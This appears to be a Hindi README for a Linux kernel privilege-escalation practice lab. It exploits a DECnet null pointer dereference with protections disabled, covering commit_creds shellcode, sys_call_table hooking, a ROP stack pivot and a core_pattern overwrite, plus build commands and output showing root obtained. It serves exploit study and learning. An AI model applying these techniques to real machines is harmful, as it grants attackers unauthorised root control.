
लिनक्स कर्नेल LPE अभ्यास एक NPD कमजोरी के साथ
मेरे DECnet भेद्यता और नल पेज मैपिंग सक्षम के साथ विभिन्न Linux कर्नेल शोषण तकनीकों का अभ्यास।
सब कुछ अक्षम: qemu-system-x86_64 -append "nosmap nosmep nopti nokaslr"
कोड निष्पादन को यूज़रलैंड में output फ़ंक्शन पर रीडायरेक्ट किया जाता है, जो commit_creds(prepare_kernel_cred(0)) को कॉल करता है।
सिस्कॉल हुकिंग
mkdir सिस्टम कॉल हैंडलर पते को sys_call_table के अंदर एक फ़ंक्शन से बदलें जो परिदृश्य 1 के समान हो।
SMEP और KPTI सक्षम: qemu-system-x86_64 -append "nosmap nokaslr"
कोड निष्पादन को एक स्टैक पिवट पर रीडायरेक्ट किया जाता है जो $rsp को नल पेज में एक ROP श्रृंखला पर सेट करता है।
यूज़रमोड हेल्पर
core_pattern sysctl को ओवरराइट किया जाता है ताकि कोर डंप करते समय उच्च विशेषाधिकारों के साथ चलने के लिए एक कमांड निर्दिष्ट किया जा सके।
प्रोग्राम को फिर SIGABRT सिग्नल से बाधित किया जाता है ताकि यूज़रमोड स्क्रिप्ट को ट्रिगर किया जा सके।
apt install libdnet
gcc -o lpe lpe.c -ldnet
gcc -o lpe-core_pattern lpe-core_pattern.c -ldnet
gcc -o lpe-nosmep lpe-nosmep.c -ldnet -no-pie
gcc -o lpe-syscall lpe-syscall.c -ldnet -no-pie
DECnet को रूट के रूप में कॉन्फ़िगर करें:
sysctl -w vm.mmap_min_addr="0" # 0x1000
echo -n "1.10" > /proc/sys/net/decnet/node_address
अनप्रिविलेज्ड उपयोगकर्ता के रूप में एक्सप्लॉइट चलाएं:
$ ./lpe
[*] Saved state
[*] Triggering NPD
[*] Returned to userland
[*] UID: 0, got root!
#